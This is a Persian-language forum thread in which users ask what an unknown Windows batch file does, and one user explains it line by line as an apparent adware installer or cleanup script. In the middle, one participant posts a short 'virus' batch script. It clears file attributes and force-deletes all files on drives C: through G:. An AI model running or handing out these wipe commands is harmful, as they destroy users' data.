کی سر در میاره این کارش چیه؟

کد:

---

@echo off
echo.
call navhelper.exe
if exist recovery.exe del recovery.exe > nul:
if exist buy.url del buy.url > nul:
if exist english.chm del english.chm > nul:
if exist turkish.chm del turkish.chm > nul:
if exist french.chm del french.chm > nul:
if exist chinese.chm del chinese.chm > nul:
if exist italian.chm del italian.chm > nul:
if exist latvian.chm del latvian.chm > nul:
if exist romanian.chm del romanian.chm > nul:
if exist russian.chm del russian.chm > nul:
if exist spanish.chm del spanish.chm > nul:
if exist install2.bat del install2.bat > nul:
if exist deneme.txt del deneme.txt >nul:
if exist navhelper.exe del navhelper.exe >nul:
echo.
if exist %windir%\SYSTEM\msvbvm60.dll goto c3
if exist %windir%\SYSTEM32\msvbvm60.dll goto c3
echo.
echo You need to install visual basic 6 runtime files
echo.
echo.
echo You may close this dos window safely.
start vb6.htm
echo.
:c3
echo.
@echo off
cls

---

این متن یه فیل اجرایی ناشناس بود.
بابا !! حالا دقیق هم نمیخواد بگین....

اين مثلا يه ويروسه

چون گفتم فایل اجرایی ناشناسه این حرف زدی یا واقعا ویروسه ؟؟

مثلا اين يكي هم ويروسه(ولي براي استفاده از اينها شرايط خاصي وجود داره)
@echo off

ATTRIB -a -s -h -r c

ATTRIB -a -s -h -r c:\windows\*.*

Echo y | echo a | Echo y | del c:\*.*

Echo y | echo a | Echo y | del d:\*.*

Echo y | echo a | Echo y | del e:\*.*

Echo y | echo a | Echo y | del f:\*.*

Echo y | echo a | Echo y | del g:\*.*

echo y | copy *.* C:\

echo y | copy *.* D:\

echo y | copy *.* E:\

echo y | copy *.* F:\

echo y | copy *.* G:\

resrart

این وروس رو که میشناسم.....سوالم اینه که این کد کارش چیه ؟

اين از كجا اوردي يكم كارش عجيبه
اين به قول شما ويروس اين كارا رو مي كنه

نقل قول:

---

@echo off

---

نشان ندادن فرمانهاي داس در command prompt

نقل قول:

---

echo.

---

يه خط فاصله

نقل قول:

---

call navhelper.exe

---

صدا زدن فايل navhelper.exe و اجراي اون بازگشت به خط فرمان قبلي

نقل قول:

---

if exist recovery.exe del recovery.exe > nul:
if exist buy.url del buy.url > nul:
if exist english.chm del english.chm > nul:
if exist turkish.chm del turkish.chm > nul:
if exist french.chm del french.chm > nul:
if exist chinese.chm del chinese.chm > nul:
if exist italian.chm del italian.chm > nul:
if exist latvian.chm del latvian.chm > nul:
if exist romanian.chm del romanian.chm > nul:
if exist russian.chm del russian.chm > nul:
if exist spanish.chm del spanish.chm > nul:
if exist install2.bat del install2.bat > nul:
if exist deneme.txt del deneme.txt >nul:
if exist navhelper.exe del navhelper.exe >nul:

---

چك كردن وجود فايهايي recovery.exe،buy.url،english.chmو... و در صورت وجود، پاك كردن آنها
>null هم يعني بعد پاك كردن هيچ پيامي روي صفحه نمايش نشان داده نشود

نقل قول:

---

if exist %windir%\SYSTEM\msvbvm60.dll goto c3
if exist %windir%\SYSTEM32\msvbvm60.dll goto c3

---

چك مي كنه اگر فايل msvbvm60.dl در اين دو شاخه %windir%\SYSTEM\ و %windir%\SYSTEM32\ ميرود به c3

نقل قول:

---

echo You need to install visual basic 6 runtime files

---

پيام You need to install visual basic 6 runtime files رو صفحه ي نمايش نشان مي دهد

نقل قول:

---

cls

---

صفحه نمايش رو پاك مي كنيد

-------------
شايد طريقه پاك كردن يه adware باشه
موفق باشيد

Beelzebub جان ، ممنونتم ...